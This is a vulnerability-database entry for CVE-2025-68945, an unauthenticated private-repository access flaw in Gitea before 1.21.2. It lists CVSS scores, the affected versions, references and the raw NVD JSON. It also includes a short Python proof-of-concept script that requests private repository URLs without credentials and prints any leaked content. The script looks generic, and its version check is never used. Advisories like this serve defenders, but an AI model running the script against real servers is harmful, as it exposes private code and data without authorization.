Security Vulnerability Report
中文
CVE-2025-68945 CVSS 5.8 MEDIUM

CVE-2025-68945

Published: 2025-12-26 04:15:42
Last Modified: 2025-12-31 22:27:44

Description

In Gitea before 1.21.2, an anonymous user can visit a private user's project.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.21.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68945 PoC - Gitea Private Repository Access # Affected Version: Gitea < 1.21.2 import requests import sys def check_gitea_version(base_url): """Check if Gitea version is vulnerable""" try: response = requests.get(f"{base_url}/api/health", timeout=10) if response.status_code == 200: return True except: pass return False def exploit_private_repo_access(base_url, private_repo_path): """ Exploit: Anonymous user can access private repository Steps: 1. Send HTTP GET request to private repository URL without authentication 2. If vulnerability exists, server returns 200 with repository content 3. Extract sensitive information from response """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Target private repository URL target_url = f"{base_url}/{private_repo_path}" print(f"[*] Targeting: {target_url}") print(f"[*] Sending request without authentication...") # Send request without session/authentication response = requests.get(target_url, headers=headers, allow_redirects=False) print(f"[*] Response Status: {response.status_code}") # Vulnerable if returns 200 (should be 401/403 or redirect to login) if response.status_code == 200: print("[!] VULNERABLE: Private repository accessible without authentication!") print(f"[*] Response Length: {len(response.text)} bytes") # Extract repository information if 'repository' in response.text.lower() or 'owner' in response.text.lower(): print("[+] Repository metadata leaked:") print(response.text[:500]) return True elif response.status_code in [301, 302]: print(f"[-] Not vulnerable: Redirected to {response.headers.get('Location')}") return False else: print(f"[-] Not vulnerable: Status {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-68945.py <gitea_url> <private_repo_path>") print("Example: python cve-2025-68945.py http://localhost:3000 username/private-repo") sys.exit(1) base_url = sys.argv[1].rstrip('/') repo_path = sys.argv[2] exploit_private_repo_access(base_url, repo_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68945", "sourceIdentifier": "[email protected]", "published": "2025-12-26T04:15:41.507", "lastModified": "2025-12-31T22:27:43.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Gitea before 1.21.2, an anonymous user can visit a private user's project."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-359"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.21.2", "matchCriteriaId": "031C3647-455E-4485-A65E-BEF163E55E04"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.21.2/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/28423", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.21.2", "source": "[email protected]", "tags": ["Release Notes"]}]}}